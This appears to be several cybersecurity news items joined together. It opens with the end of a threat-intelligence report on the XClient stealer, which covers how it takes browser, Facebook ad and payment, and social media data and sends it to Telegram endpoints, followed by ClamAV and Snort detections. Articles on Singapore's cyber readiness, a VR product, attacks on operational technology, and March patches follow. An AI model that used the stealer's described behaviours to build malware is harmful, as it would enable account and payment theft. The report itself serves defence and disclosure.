After bypassing all the checking functions, the XClient stealer captures the victim’s machine screenshot, saves it with the “.png” extension in the victim’s temporary user profile folder, and sends it to C2 through the URL “/sendPhoto.” 

XClient stealer steals victims’ social media web application credentials, browser data, and financial information such as credit card details. It targets Chrome, Microsoft Edge, Opera, Brave, CocCoc, and Firefox browser data files through the absolute paths of the respective browser installation paths. It extracts the contents of the browser database to a text file in the victim’s profile local temporary folder. 

XClient stealer hijacks and steals various Facebook data from the victim’s Facebook account. It sets custom HTTP header metadata along with the victim’s stolen Facebook cookie, and the username sends requests to Facebook APIs through the URLs below.

It checks if the victim’s Facebook is a business or ads account and uses regular expressions to search for access\_token, assetID, and paymentAccountID. Using Facebook graph API, XClient attempts to collect an extensive list of information from the victim’s account, shown in the table below.

Entities

Value place holders

facebook\_pages

verification\_status, fan\_count, followers\_count, is\_owned, name, is\_published,is\_promotable, parent\_page, promotion\_eligible, has\_transitioned\_to\_new\_page\_experience, picture, roles

Adaccounts, businesses

name, permitted\_roles, can\_use\_extended\_credit, primary\_page, wo\_factor\_type, client\_ad\_accounts, verification\_status, id, created\_time, is\_disabled\_for\_integrity\_reasons, sharing\_eligibility\_status, allow\_page\_management\_in\_www, timezone\_id, timezone\_offset\_hours\_utc

owned\_ad\_accounts

id, currency, timezone\_offset\_hours\_utc, timezone\_name,adtrust\_dsl

Business\_users

name, account\_status, account\_id, owner\_business, created\_time, next\_bill\_date, currency, timezone\_name, timezone\_offset\_hours\_utc, business\_country\_code, disable\_reason, adspaymentcycle{threshold\_amount}, has\_extended\_credit, adtrust\_dsl, funding\_source\_details, balance, is\_prepay\_account, owner

XClient stealer also collects the financial information from the victims’ Facebook business and ads accounts.

Payment related entities

Value Place holders

pm\_credit\_card

display\_string, exp\_month, exp\_year, is\_verified

payment\_method\_direct\_debits

address, can\_verify, display\_string, s\_awaiting, is\_pending,

status

payment\_method\_paypal

email\_address

payment\_method\_tokens

Current\_balance, original\_balance, time\_expire, type

amount\_spent, userpermissions

user, role

 Using the graph API, XClient stealer retrieves victims’ account friend list details and pictures. 

XClient stealer also targets the victim’s Instagram account and YouTube accounts through the URLs and collects various information, including username, badge\_count, appID, accountSectionListRenderer, contents, title, data, actions, getMultiPageMenuAction, menu, multiPageMenuRenderer, sections and hasChannel. It collects the application data from the Telegram desktop and Discord application on the victim’s machine. XClient also collects the data from the victim’s TikTok business account and checks for business ads. 

Talos compiled the hardcoded HTTP request header metadata the XClient stealer uses in this campaign while retrieving the victim’s information from Facebook, Instagram, and YouTube accounts. 

Facebook

*   sec-ch-ua-mobile: ?0
    
*   sec-ch-ua-platform: \\"Windows\\"
    
*   sec-fetch-dest: document
    
*   sec-fetch-mode: navigate
    
*   sec-fetch-site: none
    
*   sec-fetch-user: ?1
    
*   upgrade-insecure-requests: 1
    
*   user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
    
*   sec-ch-ua: \\"Not?A\_Brand\\";v=\\"8\\", \\"Chromium\\";v=\\"108\\", \\"Google Chrome\\";v=\\"108\\"
    
*   sec-ch-ua-mobile: ?0
    

  

Instagram

*   Sec-Ch-Prefers-Color-Scheme: light
    
*   Sec-Ch-Ua: "Google Chrome"; v = "113", "Chromium"; v = "113", "Not-A.Brand"; v = "24"
    
*   Sec-Ch-Ua-Full-Version-List: "Google Chrome"; v = "113.0.5672.127", "Chromium"; v = "113.0.5672.127", "Not-A.Brand"; v = "24.0.0.0"
    
*   Sec-Ch-Ua-Mobile: ?0
    
*   Sec-Ch-Ua-Platform: "Windows"
    
*   Sec-Ch-Ua-Platform-Version: "10.0.0"
    
*   Sec-Fetch-Dest: document
    
*   Sec-Fetch-Mode: navigate
    
*   Sec-Fetch-Site: none
    
*   Sec-Fetch-User: ?1
    
*   Upgrade-Insecure-Requests: 1
    
*   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36(KHTML, like Gecko) Chrome / 113.0.0.0 Safari / 537.36
    

  

Youtube

*   content-type: application/json
    
*   sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
    
*   sec-ch-ua-arch: "x86"
    
*   sec-ch-ua-bitness: "64"
    
*   sec-ch-ua-full-version: "113.0.5672.127"
    
*   sec-ch-ua-full-version-list: "Google Chrome";v="113.0.5672.127", "Chromium";v="113.0.5672.127", "Not-A.Brand";v="24.0.0.0"
    
*   sec-ch-ua-mobile: ?0
    
*   sec-ch-ua-model: ""
    
*   sec-ch-ua-platform: "Windows"
    
*   sec-ch-ua-platform-version: "10.0.0"
    
*   sec-ch-ua-wow64: ?0
    
*   sec-fetch-dest: empty
    
*   sec-fetch-mode: same-origin
    
*   user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
    
*   x-goog-authuser: 0
    
*   x-origin: https://www.youtube.com
    
*   x-youtube-bootstrap-logged-in: true
    
*   x-youtube-client-name: 1
    

Finally, the XClient stealer stores the victim’s social media data, which is collected into a text file in the local user profile temporary folder and creates a ZIP archive. The ZIP files were exfiltrated to the Telegram C2 through the URL “/sendDocument”.

Talos’ research of this campaign focused on discovering and disclosing a new threat actor of Vietnamese origin and their payloads. Additional technical details of the attack chain components of this campaign can be found in the report published by the researchers at QiAnXin Threat Intelligence Center. 

**Coverage**

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SID for this threat is 63192.

ClamAV detections are also available for this threat:

Lnk.Downloader.CoralRaider-10024620-0

Html.Downloader.CoralRaider-10025101-0

Win.Trojan.RotBot-10024631-0

Win.Infostealer.XClient-10025106-2

**Indicators of Compromise**

Indicators of Compromise associated with this threat can be found here.

CoralRaider targets victims’ data and social media accounts

While Singaporean organizations have adopted the majority of their government's cybersecurity recommendations, they aren't immune: More than eight in 10 experienced a cybersecurity incident over the course of the year.

Source: Cristophe Coat via Alamy Stock Photo

Singapore is leaving other countries in the dust when it comes to cybersecurity preparedness, according to a new government survey.

The Cyber Security Agency of Singapore's (CSA) Cybersecurity Health Report 2023 polled 2,036 small, medium, and large organizations, across 23 sectors, about various aspects of their cybersecurity — breaches faced, business impacts, measures implemented, and the like. It found that, on average, organizations have implemented just over 70% of the requirements necessary to obtain a "Cyber Essentials" certification. The certification includes five categories of national cybersecurity standards: "Assets," "Secure/Protect," "Update," "Backup," and "Respond."

Seventy percent is far from perfect, CSA emphasized, and some of its other results were a cause for further concern. But if graded on a curve, Singapore's organizations are doing quite well compared with the rest of the world.

"Governments and companies can take a page from Singapore's playbook and focus on proactive protection, education of the public, and discussion of cybersecurity initiatives at the highest levels of government," says Stephanie Boo, the Singapore-based senior vice president at Menlo Security.

**Why Singapore Is Ahead**

In contrast to the CSA's results, consider Cisco's 2024 Cybersecurity Readiness Index, released last week.

In a poll of 8,000 cybersecurity and business leaders across 30 countries, Cisco assessed that only 3% of organizations have a "mature" level of security readiness "needed to be resilient against modern cybersecurity risks." Seventy-one percent of organizations were graded as either in the "formative" stage (below average) or "beginner" (only just beginning to deploy security solutions).

When it comes to Singapore's vastly better results, Boo says, "Great government policies and ability to implement them across a small country are a couple contributing factors."

"However, credit also goes to a very computer-savvy population with a highly digitized economy, and a thoughtful, problem-solving approach to breaches. When the country experienced a breach in 2018, rather than continue business as usual, the government instituted an Internet separation where computers connecting to business applications are air-gapped from the Internet," she says. "For the many headline-grabbing breaches we have seen in the US, we have not seen a coordinated solution or mandate from other governments."

**Now the Bad News**

CSA's report also included some concerning results, however.

More than eight in 10 Singaporean organizations experienced a cybersecurity incident over the course of the year, and half experienced several. Among those, 99% experienced a business impact, with the most common consequences being business disruption, data loss, and reputational damage.

Singaporean business leaders were also found to suffer from the same recurring mental blocks that cyber professionals rail against no matter where they are in the world. When it came to why they haven't implemented security measures, besides a lack of knowledge and experience, respondents — 46% of businesses, 49% of nonprofits — most often expressed the belief that they were unlikely to be a target of a cyberattack. They also admitted that cybersecurity is a low priority at their organizations (38% and 44%, respectively), and cited a perceived lack of return on investment (36% and 31%).

CSA highlighted the irony in these arguments in a fact sheet, noting that the cost of meeting Singapore's Cyber Essentials threshold for a small business ranges from around $1,800 to $4,500.

"The amount is typically a small fraction of the cost of business disruptions or recovery procedures due to cyber incidents, the impact of which may also be extended beyond affected organizations to their customers and suppliers," according to the agency.

Boo notes that, in general, small businesses lack the resources to approach security from the business-case perspective.

"Small businesses focus on the must-haves to run their business and don’t have the bandwidth or forethought to look at business enablers from security," Boo says. "The best way to educate small businesses is to deliver the education through channels they already use — like their bank, credit card company, or their telecommunications provider. It is also important to keep it simple and focus on the business benefits rather than the complexity of cyber threats."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Singapore Sets High Bar in Cybersecurity Preparedness

By Owais Sultan
Virtual reality developer Victoria VR has announced that it is integrating OpenAI into its builder. The move makes…
This is a post from HackRead.com Read the original post: Victoria VR Becomes First Virtual Reality Developer to Integrate OpenAI

Virtual reality developer Victoria VR has announced that it is integrating OpenAI into its builder. The move makes Victoria VR the first web3 project to bring AI capabilities to virtual reality, streamlining VR content creation.

Victoria’s VR AI Builder enables anyone to design their own virtual realities, games, and applications with no programming knowledge required. This capability empowers users to create and monetize their own virtual spaces. Use cases include games, digital shops, interactive showrooms, virtual offices, online schools or even whole new VR worlds.

The integration of OpenAI into Victoria’s VR AI Builder will unlock a host of new possibilities for content creation. It will enable users to create a rich variety of custom content including in-game items and virtual accessories. From creating characters to constructing entire metaverses, the Victoria VR builder powered by OpenAI will unleash a wave of innovation and provide greater personalization within virtual worlds.

OpenAI prompts will allow users to easily create bespoke items and content with no coding required. As a result, rich metaverses and digital spaces can be created on demand. The integration of OpenAI, scheduled for late 2024, will be followed by other AI integrations, providing creators with broad scope for constructing original VR content.

In addition to OpenAI, Victoria’s VR AI Builder will integrate AI technologies such as DALL-E, Midjourney, and Stable Diffusion. Creators can leverage these powerful tools to elevate their ideas and apps. This will expedite the creation process, allowing VR-powered digital worlds to be rapidly manifested.

The rollout of AI capabilities within Victoria VR will support the creation of 3D assets as well as entire 3D environments. Through integrating OpenAI, Victoria VR will empower users to create immersive virtual worlds whose only limits are their imagination. It will support mini-games and metaverse applications created using Victoria’s VR AI Builder.

By providing simple prompts, users can instruct the AI to create shops, malls, and entire worlds, rendered in detail and to their exact specifications. This will spark a stream of VR custom content, transforming users into creators and unleashing unique applications. Content is rendered as NFTs that the creator controls, supporting full asset ownership.

Victoria VR features a virtual reality metaverse defined by ultra-realistic graphics and gameplay. Available on the Apple Vision Pro, Oculus Quest 3 and others, Victoria VR combines the power of virtual reality with the unique benefits provided by web3 technology.

The complexity of VR development currently places it beyond the reach of most people. It requires advanced coding and design skills to add textures, create models, and apply animation. The Victoria VR builder will eliminate the barriers to virtual reality development, paving the way for new metaverse experiences powered by the $VR tokens.

****About Victoria VR****

Victoria VR is a realistic Virtual Reality metaverse with VR AI Builder that allows anyone to create and trade VR content as NFTs. Powered by Unreal Engine, Victoria VR leverages the latest virtual reality technology. Its metaverse promises immersive entertainment, discovery and learning in a world full of VR experiences and opportunities. Victoria VR is the first web3 metaverse to be available within the Apple Vision Pro. Learn more: Victoriavr.com.

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Victoria VR Becomes First Virtual Reality Developer to Integrate OpenAI

Ransomware groups tore into manufacturing other parts of the OT sector in 2023, and a few attacks caused eight- and nine-figure damages. But worse is yet to come in 2024.

Source: Imagebroker via Alamy Stock Photo

At least 68 cyberattacks last year caused physical consequences to operational technology (OT) networks at more than 500 sites worldwide — in some cases causing $10 million to $100 million in damages.

Unsurprisingly, these weren't Stuxnet-like events, but the opposite.

According to a new report from industrial control system (ICS) vendor Waterfall Security Solutions, which studied real-world cyberattacks on OT organizations, most of the hackers known to be targeting the OT sector these days are hacktivists. And the majority of disruptions are not caused by such direct manipulation of OT systems but are downstream consequences of IT-based attacks, most often involving ransomware.

That doesn't mean, though, that the impacts are any less severe. Incidents involving Johnson Controls and Clorox last year ended up costing those companies around $27 million and $49 million, respectively. One cyberattack that led to the temporary suspension of operations at MKS Instruments in Massachusetts cost $200 million, and one of its suppliers — California-based Applied Materials Inc. — reported losing another $250 million as a result.

The number of attacks with physical consequences increased by nearly 20% last year, according to the report.

**IT Attacks With OT Consequences**

In the past decade and a half, only around a quarter of cyberattacks with OT consequences were caused by actually hitting the OT network, according to the report Waterfall published in collaboration with OT incident threat database ICS STRIVE.

"A large fraction of attacks that caused OT consequences did so by compromising machines in the IT network exclusively," explains Andrew Ginter, vice president of industrial security for Waterfall, and a co-author of the report. "OT was often shut down in 'an abundance of caution' because the business was not willing to keep running powerful, dangerous physical processes with compromise only one or two network hops away."

After its attack last March, for example, the German manufacturer Hahn Group GmbH switched off all of its systems as a safety precaution. A full, clean restoration of its systems took weeks thereafter. A number of other manufacturers last year followed that same playbook, even when safety wasn't at risk, in order to contain damage to further systems, sites, and customers.

"OT was also often shut down because physical operations needed facilities on IT networks that ransomware had crippled — e.g., container-tracking systems for shipping or passenger signage for large rail stations," Ginter points out.

One prime case occurred last January, when UK Royal Mail printers were disabled and hijacked to print LockBit ransom notes. Mail export services were briefly suspended nationwide, in an event that ended up costing £42 million.

"These dependencies are something many OT practitioners do not think about," Ginter explains. An IT network compromise can also affect physical operations, even if an OT network is secured, if the OT process rely on processes in the IT network.

**Cyber Threat to Water Treatment**

More than half of publicly reported cyberattacks with OT consequences in 2023 affected the manufacturing sector. But if there's one sector to worry about more than the rest it's, arguably, water.

Late last November, around 180 households in the Irish villages of Binghamstown and Drum lost water for two days, thanks to a loss of water pressure at a local pumping station. The cause was a cyberattack likely carried out by Iran's Cyber Av3ngers, part of a wider campaign targeting Unitronics pump controllers.

Though such stories are still rare, water facilities combine a dangerous mix of low difficulty and high impact for hackers.

"In the USA, the vast majority of the more than 20,000 drinking water treatment utilities are tiny. Minute. The vast majority of the more than 200,000 wastewater treatment systems — same thing. And realistically, with whatever budget these utilities have, almost all of it goes to people with trucks and backhoes digging holes in the ground," Ginter explains. "Couple that with continued pressure to automate those water systems to reduce costs — a lot of these systems are regulated \[because they're local monopolies\], and every regulator wants to reduce costs and reduce rates, so there is constant pressure to automate. All modern automation involves computers, meaning more targets for cyberattacks."

These systems have no security budget, so with the increased threat of hacktivist attacks and pressure to automate their operations, they are in peril, he notes, creating "a growing problem for all of the small communities in the nation."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Cyberattacks Wreaking Physical Disruption on the Rise

Plus: Microsoft patches over 60 vulnerabilities, Mozilla fixes two Firefox zero-day bugs, Google patches 40 issues in Android, and more.

It’s time to check your software updates. March has seen the release of important patches for Apple’s iOS, Google’s Chrome, and its privacy-conscious competitor Firefox. Bugs have also been squashed by enterprise software giants including Cisco, VMware, and SAP.

Here’s what you need to know about the security updates issued in March.

**Apple iOS**

Apple made up for a quiet February by issuing two separate patches in March. At the start of the month, the iPhone maker released iOS 17.4, fixing over 40 flaws including two issues already being used in real-life attacks.

Tracked as CVE-2024-23225, the first bug in the iPhone Kernel could allow an attacker to bypass memory protections. “Apple is aware of a report that this issue may have been exploited,” the iPhone maker said on its support page.

Tracked as CVE-2024-23296, the second flaw, in RTKit, the real-time operating system used in devices including AirPods, could also allow an adversary to bypass Kernel memory protections.

Later in March, Apple released a second software update, iOS 17.4.1, this time fixing two flaws in its iPhone software, both tracked as CVE-2024-1580. Using the issues patched in iOS 17.4.1, an attacker could execute code if they convinced someone to interact with an image.

Soon after issuing iOS 17.4.1, Apple released patches for its other devices to fix the same bugs: Safari 17.4.1, macOS Sonoma 14.4.1 and macOS Ventura 13.6.6.

**Google Chrome**

March was another hectic month for Google, which patched multiple flaws in its Chrome browser. Mid-way through the month, Google released 12 patches, including a fix for CVE-2024-2625, an object-lifecycle issue in V8 with a high severity rating.

Medium-severity issues include CVE-2024-2626, an out-of-bounds read bug in Swiftshader; CVE-2024-2627, a use-after-free flaw in Canvas; and CVE-2024-2628, an inappropriate implementation issue in Downloads.

At the end of the month, Google issued seven security fixes, including a patch for a critical use-after-free flaw in ANGLE tracked as CVE-2024-2883. Two further use-after-free bugs, tracked as CVE-2024-2885 and CVE-2024-2886, were given a high-severity rating. Meanwhile, CVE-2024-2887 is a type-confusion flaw in WebAssembly.

The last two issues were exploited at the Pwn2Own 2024 hacking contest, so you should update your Chrome browser ASAP.

**Mozilla Firefox**

Mozilla’s Firefox had a busy March, after patching two zero-day vulnerabilities exploited at Pwn2Own. CVE-2024-29943 is an out-of-bounds access bypass issue, while CVE-2024-29944 is a privileged JavaScript Execution flaw in Event Handlers that could lead to sandbox escape. Both issues are rated as having a critical impact.

Earlier in the month, Mozilla released Firefox 124 to address 12 security issues, including CVE-2024-2605, a sandbox-escape flaw affecting Windows operating systems. An attacker could have leveraged the Windows Error Reporter to run arbitrary code on the system, escaping the sandbox, Mozilla said.

CVE-2024-2615 sees critical-rated memory safety bugs fixed in Firefox 124. “Some of these bugs showed evidence of memory corruption, and we presume that with enough effort \[they\] could have been exploited to run arbitrary code,” Mozilla said.

**Google Android**

Google has released its March Android Security Bulletin, fixing nearly 40 issues in its mobile operating system, including two critical bugs in its system component. CVE-2024-0039 is a remote code-execution flaw, while CVE-2024-23717 is an elevation-of-privilege vulnerability.

“The most severe of these issues is a critical security vulnerability in the System component that could lead to remote code execution with no additional execution privileges needed,” Google said in its advisory.

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